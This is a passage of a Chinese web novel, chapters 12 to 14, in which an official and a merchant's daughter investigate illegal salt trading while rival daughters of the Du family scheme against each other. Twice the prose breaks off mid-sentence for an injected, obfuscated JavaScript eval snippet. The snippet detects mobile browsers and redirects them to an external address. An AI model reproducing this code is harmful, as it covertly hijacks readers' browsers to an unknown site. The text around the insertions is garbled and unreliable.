苏玉淑乖巧得像一只发困的小猫,她鼻子里轻轻哼了一声,将自己跌进柔软的被窝里沉沉睡去。 她睡得香甜,可林长亭却精神的很。 夜已经很深了,可他就是辗转反侧睡不着觉。近来事情实在太多,他初来乍到,这师城里除了他带来的几个亲信别的都使唤不动。那刘县令就是个草包,空有一手权力却不知如何使用,搜刮了几个银子就不知道自己姓甚名谁。节察判官倒是有兵有人,只是装聋作哑地不肯配合,怕是私底下也早已烂透了。苏玉淑这条暗线的动静倒是比明面上查起来快了许多,只是这丫头实在是胆大包天,是个不能轻纵了的主儿。她苏家地势力又在师城盘根错节,动他们一个只怕是又要牵扯出许多没必要的事端来。又要保下苏家,还要把这群在臭水沟里找吃食的驱虫一网打尽……要是在京城,早就把这群人杀个干净,什么屁点大的小民小官,就算杀了上百个又有何妨! 到底要怎么做才能快点回去呢。 林长亭实在是躺的烦闷,他索性翻身下床随手披上件衣服走出院子。他如今的居所实在狭小,和京城那处自然是没得比的。也不知他的母亲年少之时在这小小的院子里是如何长大,如何调皮肆意,最后又怎么一头嫁进那吃人的虎狼窝去的……他踱步在漆黑的夜空里,就连天上的星辰都染得有些暗淡。院里有一块突兀的石头,约莫半人高,上面有几处已经被磨得十分光滑,想来应该是经常有人在上面坐着。林长亭忍不住出手抚摸,不知怎的也鬼迷心窍地坐了上去。上面的视野其实并未开阔多少,只是两条腿刚刚好能晃荡起来,颇有童趣。夜里的石块尤其的冰凉,他只觉得那股寒意透过衣料沁入骨髓,这感觉是那样的熟悉又陌生。林长亭长大在严苛的教育里,对于寒冷和饥饿早已习惯,但他更习惯温热的温度—— 和腥臭的气息。 小时候听母亲说过,去世的人都会变成天上的星星。那么这闪烁的漫天星辰,到底哪一颗是母亲,哪些是被他杀掉的人呢? 他的脑海里不自觉地又浮现出苏玉淑那张倔脸,想起来就气不打一处来。林长亭一向是个不爱发脾气的,只是这苏家小姐实在是会挑拨,每次都能在她面前被气到一佛升天二佛出世,也着实奇怪。 林长亭摩挲着冰冷的石头,仿佛是对着一位熟悉的故人。他的神情看上去有些哀伤,霜露又为他的面庞笼上了一层温柔的细纱,现在的他褪去了平日的那股游刃有余,反倒是多了些迷茫,和一个普通的年轻人没什么两样。 “我该怎么做……” 他暗自呢喃着,只盼望白日能快些降临。 “你这是一晚上没睡吗?”苏玉淑托着腮帮子,大咧咧地往嘴里扔着绿萝切好的蜜瓜,“林长亭,你头发都没扎好。” “无妨。”昨夜一夜无眠也就罢了,不想这丫头今天居然这么精神抖擞的。他默默捋了两下头发,有些不满地开了口:“苏小姐今日叫我来是有什么要事相商?” “昨天的事,你可有什么对策?” 林长亭略略沉思:“若是能拿了证据一网打尽最好。只是眼下还不知道他们的私盐在何处中转分发,只怕是拿了人也没什么用。” “是了,我也是这么想的。”苏玉淑用手指不住地敲着桌子,她思考的时候倒是比平日沉稳许多,“林大人,眼下我们还有两件事可做。” “查杜家。” “查盐场。” 两人几乎是同时说出了答案。 苏玉淑点了点头:“杜家给我的那个风水先生还没有去探,而且我还是不太明白,为什么杜蕊琴要在盐场这件事上点我。前几天他们杜家牙婆这条赚钱的黑线被一锅端了,我竟然也没听到什么风声。看来这杜家也绝非是单纯的一股绳,只要她们利益相左,我们就大有可为。” “盐场那边,我可以派人……” “不必。” 看着苏玉淑这副胸有成竹的样子,林长亭倒是有些好奇:“苏大小姐又有什么主意呢?” “比起来暗地里查探,我觉得直接去看要方便得多。狭路相逢勇者胜,只要我们打着光明正大的旗号,他们做贼心虚必定会露出马脚。林大人觉得呢?” 林长亭摇摇头:“我觉得不能把希望寄托在指望对手犯错上,这样不免太被动了。” “虽说拿住了把柄再动手是好事,可是那刘掌柜这时候正是害怕心虚,若不趁热打铁岂非误了时机?”苏玉淑直视着林长亭的眼睛,神情坚定,“今天听母亲说起来,两天后家父和哥哥便从外地回府,到时候我大可缓缓禀明此事。如此借了家父的名号,我们既能光明正大的查探许多事情,还不会暴露真实的目的。林大人意下如何?” “你觉得好,就这么办。” 苏玉淑不明所以地看着他:“你昨天不还和我吵架呢吗?怎么现在看着这么泄气啊?是不是生病了?” “没有,只是对你这次的决定有点诧异。我以为你是个莽撞不知计谋的,不曾料想你比我想的要聪明很多。” 苏玉淑瞟了他一眼,用脚底板想想都知道林长亭今日心情不大爽朗。她懒得和他再起什么口舌之争,私盐的案子是一刻也耽误不得,有那吵架的功夫还不如商讨一下以后的对策。她只是笑笑,手中的银叉在日光下熠熠生辉。看着面前脑子里不知道在想什么的林大人,她灵机一动,捏住他的腮帮子直接把一块蜜瓜戳进他的嘴里—— 这是自己第二次被她往嘴里塞东西了。 林长亭有些不可置信地盯着她,也怪自己不知为何分了心神,居然又被这丫头片子摆了一道。两个丫鬟忍不住发出了“吃吃”的笑声,就连叶荣那小子都转过了身去。他一时之间竟然不知道该怎么办,只能鼓着腮帮子瞪着面前这个幸灾乐祸的少女,眼神里满是疑惑。 “嚼啊,林大人。”苏玉淑用叉子点了点他的脸,“怎么,还要我教你吃东西不成?” 林长亭下意识地听了她的话,蜜瓜香甜的汁水瞬间在口腔内迸发开来。他此次前来只带了几个侍卫,身边久无人照顾,自是许久没有吃过水果这种精细东西了。他的瞳孔不自觉地扩大了几分,面容看上去也柔和了不少。苏玉淑笑笑,又插起一块送到他的手里: “甜吗?” 他有些害羞,清了清嗓子才 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“叶英叶荣你都见过。剩下两个,女的叫做鸩,男的叫正一。都是我贴身侍卫,除了他们都是些散兵游勇了,无需在意。” “鸩……这个名字还挺特别的。”苏玉淑小心翼翼凑到她身边,“看起来就很厉害。不知年岁几何?” 鸩看向了林长亭,见到自家少爷抬了抬下巴,她才答道:“属下不知道自己年龄。苏大小姐只称呼我的名号便是。” “你俩说话的语气都一模一样。”苏玉淑见绿萝和石竹捧了水果盏子出来,脸上的笑容灿烂得和盛放的玉兰花一般,“别管是谁了,反正今天吃的管够,吃饱了好干活!” 除了叶荣屁颠屁颠地凑到了绿萝身边,院子里剩下三个人却是动也不动,像三座被下了咒的石像似的,活生生地钉在院子里的大太阳底下。 “怎么了?”苏玉淑往几个人手里分着叉子,这边四个人都已经开始往嘴里塞了,那叶荣轻车熟路的像自小长在这院子里一般。 “林长亭,你喊他们进来啊。”苏玉淑拿了一柄叉子放在他手里,“怎么,你就是这么犒劳你的下属的?我们做生意的有句话,叫做‘无利不起早’,你连口水果都不给人家吃,人家凭什么为你卖命啊?行了行了别绷着了,赶紧进来吧这瓜怪贵的,就算是京城的达官显贵也不一定吃得到呢!” 林长亭真是拿她没办法。眼见几个人笑着闹着,就这么把私盐的事抛之脑后,真不知道她是心大呢还是本就不在意。他想起昨晚的烦乱思绪和无助寂寞,此刻的欢声笑语倒显得自己有点可笑了。他打量着手里的叉子,纤薄却精致,这苏家的审美真的要比杜家的好上许多。林长亭朝外招了招手,叶英的脸上登时绽放出一个孩子气的笑容。他一手牵起一个,拽着还人生地不熟的二人就往里走。 正一有儿有女,他倒是见惯了这种场面,可鸩多少是有些不适应了。她紧紧攥着叉子,这小东西比杀人的毒针还难拿。那边叶荣叶英为了多吃两块儿都快打到一起了,鸩却嘴里一块蜜瓜嚼了又嚼,迟迟不肯去拿第二块。 苏玉淑用肩膀碰了碰她:“鸩,我能不能问你件事啊?” “你说。” “我想问问,你功夫好不好啊?”看着苏玉淑递到嘴边的蜜瓜,鸩也不好拒绝。她看了看自家少爷,他就这么一脸淡然地看着几个人笑着闹着,倒好似不是大敌当前的时刻,而是温馨的日常罢了。 “我的功夫还可以。” 林长亭无奈一笑:“说吧,你把我的人笼络一遍是想干嘛?” 苏玉淑有些尴尬:“嘿嘿,我想请鸩教教我。” “这个嘛……”他话里一顿,转而看向了鸩,“你想吗?” 苏玉淑见状一把上去紧紧握住了鸩的双手,两眼眨巴得和小狗一样:“你愿意!你愿意!你吃了我的瓜就愿意了!” 鸩被她的热情吓得眼睛都比平日睁大了几分,她下意识地点了头,直到听见苏玉淑的欢呼声才反应过来。 只不过世上是没有后悔药卖了。 几人闹得正开心,紧闭的院门外却突然传来一声丫鬟的扣门声—— “大小姐,杜家大小姐在正厅求见!” 13. 第十三章 “听说妹妹这两日抱病,身体不大利索,我可是日日盼着玉淑妹妹赶紧好起来呢。”杜蕊琴摆摆手,婢女便呈上来一个精致的盒子,“苏夫人,这是家父之前从北方极寒之地得来的一株上好的人参,补血益气是最好的。我的一点心意,还请您收下。” 苏夫人正坐高堂,笑得满目慈祥:“杜小姐有心了。我家这个是个顽皮的,自己前几天在院子里爬树把手划破了,这小猴子哪里用得到您送来的这么贵重的东西,只怕是给了她也是糟蹋。” “娘,您这么在蕊琴姐姐面前说我,我多没面子啊。”苏玉淑今日打扮得素净,一身月白显得清爽活泼。她坐在依旧是满身姹紫嫣红的杜蕊琴身旁,不像是年龄相仿,倒像是年纪小上四五岁似的。 苏夫人叹了口气:“你看看人家杜小姐,这穿着打扮才是高门大户家的女儿,你再看看你,你哪里还有面子。” “苏夫人这话就不对了。”杜蕊琴热络地拉起苏玉淑的手,“玉淑妹妹这样才显得可爱俏皮,这天下女子本就不是一个模子里刻出来的,又何必苛求呢。妹妹,你说是不是?” 对上杜蕊琴的一张笑脸,苏玉淑不知为何居然有种梗塞感。前几天的事一股脑跑进自己脑子里,像走马灯似的和面前这张华美大气的容颜交叠在一起,她终于只是笑笑,没有说些什么。 “时间不早了,玉淑你带着杜小姐在家里园子逛逛,我去厨房看看做几个新菜,杜小姐可一定要在家里用了晚饭再走。” “蕊琴感谢夫人厚待,承蒙夫人不嫌弃。” 二人向苏夫人行了礼,偌大的正厅里只留下她们和几个婢女,倒是显得有些空旷。苏家虽然比杜家要富有许多,可祖上的宅子却一直没有大修大动过,还基本保持着原有的制式。正对大门的墙面上高悬着“世泰时丰”四个大字,斗拱月梁将整个房间挑高许多,精心打磨过的石砖地面光滑温热,几处燃着的塔香香灰缕缕,日光透过屏风影影绰绰地洒进来,整个厅堂熠熠生辉又不甚奢华。 “玉淑妹妹手上的伤……”杜蕊琴抬头看了看周围的侍女,没有说下去。 “你们几个都下去吧,我和杜小姐有话要说。” “是。” 眼见几个婢女已经离开,苏玉淑往后一仰身子,整个太师椅差点成了她的床铺:“蕊琴姐姐,现下没有人了,不妨有话直说。” “我还真是喜欢你这直爽的性子。”她轻声笑道,“妹妹手上这上,可是打发那小贱人时候受的伤?” “姐姐你想多了,我真是……” “听说我家田婆子被杀了。”杜蕊琴冷不丁一句,杀了苏玉淑一个措手不及。她被这突如其来的一句话惊到了,脸上堆砌起来的笑容一点点褪去。 “我此行并不是来兴师问罪的,妹妹别慌。”杜蕊琴的眼神之中多了一丝平日不曾见过的果决,“如若不是妹妹所为,我自会再去查。但是如果是妹妹做的……那还请玉淑妹妹受我一拜。我杜蕊琴在此谢过。” “姐姐这话我就不明白了。”眼下认也不是,不认也不是,苏玉淑决心将此事先马虎过去,等到和林长亭商议了也不迟。可杜蕊琴却并没有让她拖延的意思,她直勾勾地盯着苏玉淑的眼睛,突然将两人的距离又拉进了几分: “我这次是抱着十分的诚意来的。还请妹妹不要再和姐姐我打哑谜了。妹妹要救苏家,我自然也要救一救杜家,不是吗?” 苏玉淑嘴角勾起一分若有若无的笑意:“姐姐话里话外果然都是在点我。” “是了,我说过我喜欢和聪明直爽的人说话。”杜蕊琴也不再遮掩,她托着自己的下巴,饶有兴致的表情令她看上去像一只待发的猎豹,“杜家的生意大多见不得人,可是也都是过了明路的,只是面子上不好看罢了。但是这两年却有人打着杜家的旗号,做着把杜家往火坑里推的勾当,若是换了妹妹,又当如何处置?” “若是换了我……也必当是严厉处罚,决不能等到伤害根本之时再发作。” “妹妹不承认也无妨,不碍事。妹妹可曾听说过师城要来一位大人物的传闻?虽然还不知这人何许人也,可是那日妹妹也见到了,有林转运使开道,想来必然能是位登阁拜相的人物。这个时候杜家若是再不处理掉烫手的山芋,只怕是不会有好果子吃。” “蕊琴姐,我倒是有一事不明。”苏玉淑也凑近了她的脸,二人近得似乎能感觉到对方的呼吸,“为何不见令尊处置呢?难不成这杜家,竟然是蕊琴姐姐做主了?” 杜蕊琴的睫毛抖了三抖,她只是笑笑,但这笑里却多了几分无奈: “玉淑妹妹,家家有本难念的经。但是你要知道,我来找你是抱着诚心诚意来的,杜家那边你无需多虑,自然我会打点好一切。我虽然不像妹妹一样筹谋计算的名声远扬在外,可是我却也一定要把杜家捞起来的。你我都是正室嫡女,家族荣耀对我们有多重要,想必不用多说了吧?” “姐姐一番心意,玉淑自然明白。只是玉淑愚钝,不知姐姐此番前来若不是为了兴师问罪,那是为了什么事呢?” “苏家,根深蒂固却也树大招风。杜家,根基虽然不稳却杀伐狠辣。如果师城里一下子少了两个大家,敢问妹妹,高兴的人又该是谁呢?”杜蕊琴端起茶杯,眼神明灭,“杜家插手了不该插手的事,而你苏家也脱不了干系。” 此话一出,二人皆默默。 每一个为前路发愁的夜晚,苏玉淑都为自己和苏家的未来担惊受怕。看今日情形,她的一举一动的确不像装出来的样子,想来杜蕊琴也早已知晓杜家和苏家贩卖私盐一事,只是不知如何处理罢了。 想到这里,苏玉淑心底竟然迸发出一种奇怪的情感,杜蕊琴在她的眼中原来只是个没有什么审美情趣略有些俗气的暴发户罢了,可此时二人竟如战友一般,她不免觉得豪迈而悲凉。若她们能生为男子,必定不用在背后阴狠算计,而是光明正大的翻云覆雨,就算不能青史留名也必定能工笔一画。 但是很快她又将自己把事实和盘托出的念头按了下去,多事之秋不得不多个心眼儿。苏玉淑只觉得喉咙有些喑哑,但依旧是硬着头皮开了口: “蕊琴姐,你的意思我都明白。但是你要知道,攘外必先安内,我还有许多事情需要处理。不知姐姐可否等我些时日,待我把最最要紧的事情处理完,一定到府上找姐姐。” “不可。” 杜蕊琴拒绝得斩钉截铁,到让苏玉淑一愣:“为何不可?” “苏小姐,你家只有你和你哥哥两人,可我家却是个糟乱的。你我交往本就过从亲密,若是你再来,只怕是要被人盯上了。” “你是说……”苏玉淑心里有了一个名字,却迟迟没有说出口。杜蕊琴也未做表态,只是颇有些无奈地摇了摇头。 “我倒有一法子。”苏玉淑眼珠滴溜溜一转,一副狡黠的样子,“家父担心我的安危,我自小便有两个侍卫暗中保护,到时候可以让他们为你我传话,姐姐意下如何?” “能传递消息往来,自然是好的。”杜蕊琴笑笑,好似一下子放松了下来,“说实话,换了我是妹妹,我定然也要心存疑虑。作为苏家大小姐,妹妹你深思熟虑实在是件好事,说句有些冒犯的话,如果你能是我的亲妹妹就好了。” 如果你能是我姐姐也就好了。 苏玉淑差点就把这句话说了出来,只是话到嘴边又活生生咽了回去。她的哥哥是个才姿平庸之辈,尽管年长她三岁,可还是迟迟不能独当一面,只能给父亲做些分忧打下手的事情罢了。尽管她自小就羡慕那些能有哥哥保护庇佑的小孩子,却是什么事都亲力亲为样样要强,把亲亲哥哥都踩在脚下,非要显得自己更胜一筹才行。 平平之人,也敢与天争高低? 杜蕊琴却不一样。 她很美,很好,很有攻击性。不知怎的,苏玉淑想起来儿时曾听书塾先生说过,在那西南偏远之地,有一种花,名为捕虫堇。它生得艳丽多彩,盛放之时会开出紫色的小花,人畜无害一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457796|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是当贪吃的小虫靠近时,它便将本性暴露无遗,一口将猎物吞进腹中,直至消化殆尽…… 她像,又不太像。杜蕊琴艳丽得和五月的牡丹一样,雍容华贵得不容辩驳。但她却又是那样的坚强而阴险,如同一方诱人的美丽陷阱,诱使着人们前赴后继地为她卖命。 眼见苏玉淑久久不语,杜蕊琴犹豫一番后还是起身向外走去: “玉淑妹妹,我不妨再送你一件大礼。” “什么?” “妹妹可还记得那位风水先生?不知妹妹是否前去登门拜访,只是听闻他最近得来一大笔钱财,这几日最喜欢流连在青莲院呢。妹妹若是得闲,不妨打探一下这笔钱财的来历。时间尚早,我要去街上采买些女儿家的东西了,还请妹妹转告苏夫人,今日晚膳——” “少爷好。” “少爷回来了!” 杜蕊琴话音未落,厅堂外的下人们倒是惹起了一阵动静。 苏玉淑对“少爷”这个称呼都有点犯怵了,她恍惚间还以为是林长亭那家伙光明正大地就敢往她家正门里闯。愣了半刻,她便立即反应过来此时这位少爷非彼少爷,正是她苏家地嫡长子,她那个没用的哥哥——苏玉鸿。 “你怎么回来了。” 眼见人前脚刚迈进正厅,脸上的汗还来不及擦干净,苏玉淑便没好气地问道。苏玉鸿见到这个妹妹,仿佛对她语气里的不耐烦并不在意似的,发自肺腑地笑得真诚: “妹妹在呢。父亲有事耽搁两天,让我先快马回来对账。不过也就是这几天的事了,只是家里盐务不能不管,所以我回来得快些。这位是?” 杜蕊琴低下头微笑着行礼:“小女杜家杜蕊琴,见过苏家大少爷。” “这是杜家姐姐,今天来看我的。” “杜姐姐好。”苏玉鸿规规矩矩地行了礼,却不想杜蕊琴笑了出来: “苏少爷不必叫我姐姐,我只比玉淑妹妹大了一岁,按理应该叫您一声哥哥才是呢。” “是,是玉鸿唐突了。” 苏玉淑见到他这副傻里傻气的样子气就不打一处来,这股子憨劲儿说是个种地的农户也不为过,怎么她们苏家的儿子能是这个样子呢? “哥,蕊琴姐姐还有事,你回来了就先去忙吧。” “好,那我先去见过母亲报个平安。对了玉淑,我这次回来给你们带了礼物,我知道你爱吃,特意带了些你没见过的果子回来,你正好带着杜小姐去……” “行了行了知道了哥你去吧。” 苏玉淑不耐烦地推了推他的背,自顾自拉着杜蕊琴向外走去。苏玉鸿不气也不恼,只是客气地行了礼,温和地笑着。他的温和和别人那种浮于表面的、装出来的温和不甚相同。苏玉鸿是真的发自内心的平和,或许也是因为天资平平的因故,是个对谁都一视同仁的好性子。杜蕊琴忍不住回头多看了两眼,他虽然气质不是十分出众,却一眼就能看出来是个好人。 和她们这些在泥沟里讨生活的老鼠不一样。 还来不及回礼,杜蕊琴就飞也似的被脚下生风的苏玉淑拽出了门。这兄妹二人倒是有意思,虽然看上去关系不是十分融洽,却也是直来直去,彼此都深知对方心性。 这一点和杜家,也实在是不一样。 “玉淑妹妹,我就不多做打扰了。今天你哥哥回来,晚上我也不方便在场,有时间我自然会再来寻你。” “好,我记得了。”苏玉淑伸手招来一个小厮,“你带杜小姐去后院挑些礼物带回去。” “那我也就不推辞了。我先走了,妹妹不必远送。”杜蕊琴点了点头,身后自己的侍女也即刻跟了上来。见苏玉淑在原地目送二人,她这才凑到主子身边轻声说道: “大小姐,五小姐果然派人来跟了,就在我们的马车不远处。您看我们回去的时候要不要绕道?” “不必。”杜蕊琴眯了眯眼睛,“她愿意跟,就让她跟着。冤有头债有主,她现下也知道苏家了,不是吗?” 14. 第十四章 “五小姐,外面的来回话了,说是大小姐从苏家出来之后就去了美人街采买脂粉钗环,没再有别的行踪。” 杜蕊华漫不经心地抚摸着怀里的兔子:“还有呢?” “我们的人瞧见苏家的大少爷回来了,大小姐出来的时候带了好几箱子的礼物。” “哦?她们苏家倒是大方。一株人参能换回来这么多东西,出手真是阔绰。” “五小姐,老爷那边……” 杜蕊华有些嫌恶地皱了皱眉头,她抬眼看了看外面。夏天的白昼总是格外的长,长到让人厌烦。 “我这就去。我要的人给我准备好了吗?” “回小姐,已经安置在青莲院了。” “那就好。”她莞尔一笑,“新台子搭好了,又要唱一出好戏了。” “咱们家就是蕊华最懂事了,要不是你每天都过来陪陪爹,这个家里真是找不到个说话的人啊。”杜老爷眯缝着眼睛躺在老爷椅上,一双腿搭着脚蹬,杜蕊华正在一旁做着按摩,满脸乖巧的笑容。 “爹,大姐姐性子要强高傲,三妹妹又出了这样的事,几个哥哥也有自己的事情打理……蕊华是个没用的,只能伺候伺候爹,让您高兴高兴罢了。” “你哪里没用啦?要不是你出的主意,咱们家哪能这么快就赚这么多钱呢?你姐姐白长你几岁,整天就知道胭脂水粉争风吃醋的,还不如你这个小的让人省心呢。” “爹,姐姐那也是为了咱们家着想……”杜蕊华说着,手上轻了几分还顺势擦了擦眼泪,“姐姐是为了杜家的名声,我不怪姐姐……” “什么杜家的名声,我看她就是和她娘一个样,就为了我这点钱!她们娘俩儿不知道什么时候就盼着我早点死了,我死了好拿了家产!” “爹您千万别这么说,姐姐……” “对,爹您什么时候死啊?” 杜蕊琴不知何时出现在门口,一脸戏谑:“你死了就不会没完没了地往家里塞人了,我也落得个清净,杜家也好正正门风。” “你!你个忤逆不孝的东西!你敢咒死你爹?!” 杜老爷三两下慌张撤了腿,三两下都没蹬上鞋,他手忙脚乱地往前挪动两步作势就要打向杜蕊琴,可她却冷笑两声站在原地,丝毫没有闪躲的意思。 “爹,你这出戏也该唱腻了吧?杜家的生意全凭我娘撑着,你这几年除了在外面花天酒地在家里作威作福,你还会点什么?想打我?那就打啊,我倒要看看你今天敢不敢打我。装了这么多年了,您不累我都替您累了。要是没那个本事,就别做出这副样子!” “你!你!”杜老爷几乎被气得抽过去,杜蕊华在一旁仔细扶好他摇摇晃晃的身子,轻声细语道: “姐姐,爹就算有错,您也不能这么顶撞爹……他怎么说……” “把你那嘴给我闭上。” 杜蕊华登时望向杜老爷,一双圆溜溜的大眼睛里盛满了不知何时聚集起来的泪水,配上那娇滴滴的弱柳扶风的模样,看了直叫人于心不忍。 “爹……” 哪个男人能受得了这么一声呢。 杜老爷立马像打了鸡血一般暴起,他拎起鞋子就朝着杜蕊琴扔了过去,她也不躲,任凭脏兮兮的鞋子打在自己身上,光滑的绸缎上沾染了泥巴污渍,从有价无市的顶级料子变成了路边无人问津的破烂。杜蕊琴又是一声冷笑: “爹,您本事还真是大了。若您要真是有本事,最好别指望着我娘打理家里声音,也别让我没完没了地往外打发人。”她看了看歪在一边的鞋子,眼里满是嫌弃,“有本事生这么几个惺惺作态的东西,没本事和外面说你其实是个外强中干不顶用的草包吗?” “你!你个不孝的东西!滚,滚出杜家!” “我滚?”杜蕊琴的眼神冷得像寒冬腊月的凛冽北风,几乎要将眼前的二人消弭殆尽,“好啊,只怕这杜家就要被某些不安好心的人作弄塌了!你知不知道你那条私底下发卖人丁的路子已经被端了!杜家有你才真是倒了霉,为什么我要是你这种人的女儿?” “端了?什么端了?” 杜蕊华不失时机地痛哭起来:“爹爹,姐姐,你们别吵了,都是蕊华的不是……蕊华不应该不听姐姐的话修身养性,更不应该不听爹爹的话……只要你们和和美美的,咱们还是一家人,杜家可不能出事啊!” “哭哭哭,号丧似的。”杜蕊琴凌厉的一眼差点没把她的眼泪吓得憋回去,“你们这么喜欢演父女情深的戏码,就在这里慢慢演吧。我来是要告诉你们,若是杜家的生意再出什么岔子,再给我娘找事,就算我这辈子都嫁不出去,就算整个师城都指摘唾骂我,就算我下地狱轮回做畜生,我也定然要让你们付出代价!” 说罢,她气哄哄地转身离去。杜蕊琴华美的衣衫大袖在空气中划出恣意的弧度,在渐渐落下的日光中显出虹色的光。屋子里杜蕊华还在啜泣,杜老爷还是吹胡子瞪眼睛的,嘴里不住地骂骂咧咧。她只觉得可笑,为何,为何她杜家竟江河日下,落到家人反目的境地。 她本可以不在这臭水沟一样的地方的。 杜蕊琴脚步飞快地向自己的院子走去,她的侍女眼见自家小姐受气,忍不住劝解: “小姐,您何苦和老爷起争执呢……您本就不受宠,夫人那边又急着把您嫁出去,这下有什么好人家老爷更不会帮着你说几句了……” “你说,若是嫁给他这样的人,母亲可会帮我撑腰?还是说指望他这么个靠吃别人家产的东西做我的依靠?”杜蕊琴望着被夕阳烧红的天边,长长地叹了口气,“家里的事处理不好,便是会连累到我和母亲。娘想把我早日嫁出去,也是盼着我能做别人家里的人,才能离这地方远点,你说我又怎么能不管,让母亲一人孤身难支呢?” “那小姐也不用和老爷硬碰硬呀,那杜蕊华是个狐媚子,最会和老爷撒娇卖乖的,和她那便宜娘简直是一个模子里刻出来的,小姐何苦自讨苦吃。” “她越是这样,我就越不能顺着她的意思。她装成这样无非是觉得爹能替她撑腰捞好处罢了,可是我一定要让她知道杜家究竟是谁做主。她越是摆出这副可怜样,我就越要拿出嫡女的派头,好好告诉告诉她什么叫枉费心机。” “我只是心疼小姐你。要是小姐能早点寻觅个好人家,能放心地离开这儿就好了,到时候奴婢一定跟着小姐寸步不离,我要跟你跟到老的!” 杜蕊琴握了握她的肩膀:“这些年,还好有你们这些忠心的。” “爹,您别生气了。”杜蕊琴装模作样地用手背蘸了两下脸颊上的泪水,声音依旧是软得和三月里的柳枝似的,“姐姐就是希望杜家安安稳稳的,不是觉得爹您主张的生意不好。” “觉得我的生意不好?指望着他娘那点娘家的产业,咱们杜家哪辈子才能发家?再说了,那些个赌场什么的,哪处不需要打点?她一个丫头片子,她懂个屁!” “是是是,爹您英明神武,姐姐自然是考虑不周的。” “她真觉得看着她娘做了几年的主,自己就也比她老子厉害了?早晚要嫁人的赔钱东西,我倒要看看满师城里谁敢娶她!” “女孩子嘛,还是温柔些好。爹平日里和蕊华说的,我都记住了。自打姐姐打发走了上一位姨娘,爹爹身边也一直没有个可心的人陪着。这两天下面的人上来递话,说是为您寻了一位女子,弹得一手好月琴,不知道是否要……” “要,自然是要的!”杜老爷嘿嘿一笑,呲着一口参差不齐的牙,乐呵呵地往椅子里一躺,“还是小女儿最贴心的,知道爹要什么。可别让你姐姐发现了,偷偷地送进来就是。还有,给刘大人史大人也送去几个美娇娘,就说是我孝敬的。” “是,女儿明白。” “你先下去吧,我也回房间眯会儿,晚上还得和几个掌柜们的吃酒呢!” 杜蕊华轻轻带上了房门,夕阳愈发暗淡了,映得她的影子也更加的纤弱。她回过头看着紧闭的房门,刚才的柔弱一扫而光,取而代之的是满满的恨意。她人微言轻又不如长姐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457797|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,只能依附在这令人作呕的杜老爷身边做一株不显眼的菟丝花。人们都只见那菟丝花生的纤细羸弱,只能靠着别人的供养才能苟活一二,可他们却不知道。 菟丝花,是能杀人的。 她便是那将寄主一点点吸食殆尽的,要把这杜家一点点蚕食吞没的,要把这吃人杀人的地方随着自己一起葬送了的菟丝花。 我不好过,你们谁都别想好过。 杜蕊华的眼中满是怨毒,血一般的夕阳刚好将她柔美的面庞切割成明暗的色块。她张开手,对准了落日看了又看,她的瞳孔透过指缝被阳光照射出琥珀色的光,终于落入黑暗—— 她握紧了手掌,将那太阳狠狠攥在手心之中。 就和她自己的命一样。只能攥在自己手里,不能为他人摆布。 “少爷,咱们真去啊?” 入夜的风已经有些温热了,叶英默默擦了一把头上的汗,“青莲院”三个大字在明烛灯笼的映射下晃得他是眼睛疼心里痒,他长这么大还从来没有真正来过这种地方,以前就算有要跟踪的,也是正一替他们哥俩儿去了。如今真站在这牌匾底下,看着门前轻声细语莺莺燕燕的,倒是浑身不自在。 “你若是不去,便在这里等着。这种地方……你总不好让苏小姐来吧?”林长亭倒是泰然自若,他今日打扮得不似平时那般沉稳,在苏玉淑的建议下换了一身师城里年轻男子之中最时兴的星蓝色圆领袍,腰间别着一块上好的半山半水玉佩。他的长发在脑后高高束起,发上银冠隐隐发着光。林长亭的一身打扮清爽潇洒,活像个富家纨绔,如果说平日的他像是平静的冰湖,那么今日的他就如同山间银泉。 “我怎么能让少爷一个人孤身犯险呢?再说了,那杜家大小姐也不像是个善茬,若是给苏小姐挖坑,少爷一头扎了进去可怎么好。我,我陪少爷去就是了。”叶英大义凛然的样子把林长亭逗得不轻,不知是今日真的卸下了包袱,还是叶英的样子太过夸张,他竟笑到捧腹不能自已。 “好了,好了。我们今天就是去寻那风水先生,又不是真来这里做什么,别慌。” “是,是。” 两人一前一后走近了青莲院的大门,一群身着轻薄的姑娘霎时间围了上来。各色的绫罗绸缎,各不相同的香粉味道,各式各样的美貌笑脸一时间全笼罩在二人周围,叶英只觉得双腿难以挪动,就连呼吸都成了一件苦差事。他绷着身子闪转腾挪,姑娘们招惹上来的藕臂令他不忍直视,他的两个眼珠子都成了摆设不知道该往哪里看。 林长亭倒是游刃有余地流连在姑娘之间,满面春风:“别急,别急。进去再说。” 这青莲院里面比外面的街上还要热闹上许多,最中间的台子上摆放着一面大鼓,一位身材清瘦的红衣姑娘正站在鼓面之上,身在乐队班子的包围之中,脚下生风宛如云中燕,一曲七盘舞跳得熠熠生辉。大厅里几桌客人对酒当歌,环肥燕瘦陪伴一旁,掌柜妈妈左右逢源,传酒的小厮往来期间,实在是繁华富饶的很。 “二位官人,想要来点什么?是想吃酒呢,还是想找姑娘呢?” 一位虔婆不失时机地凑上来,满脸堆笑,声音高亢又不失妩媚。林长亭微微一笑,掏出随身带着的扇子摆弄两下: “这位妈妈,不知青莲院里最好的房间最好的酒,还有这最最好的姑娘……能否作陪啊?” 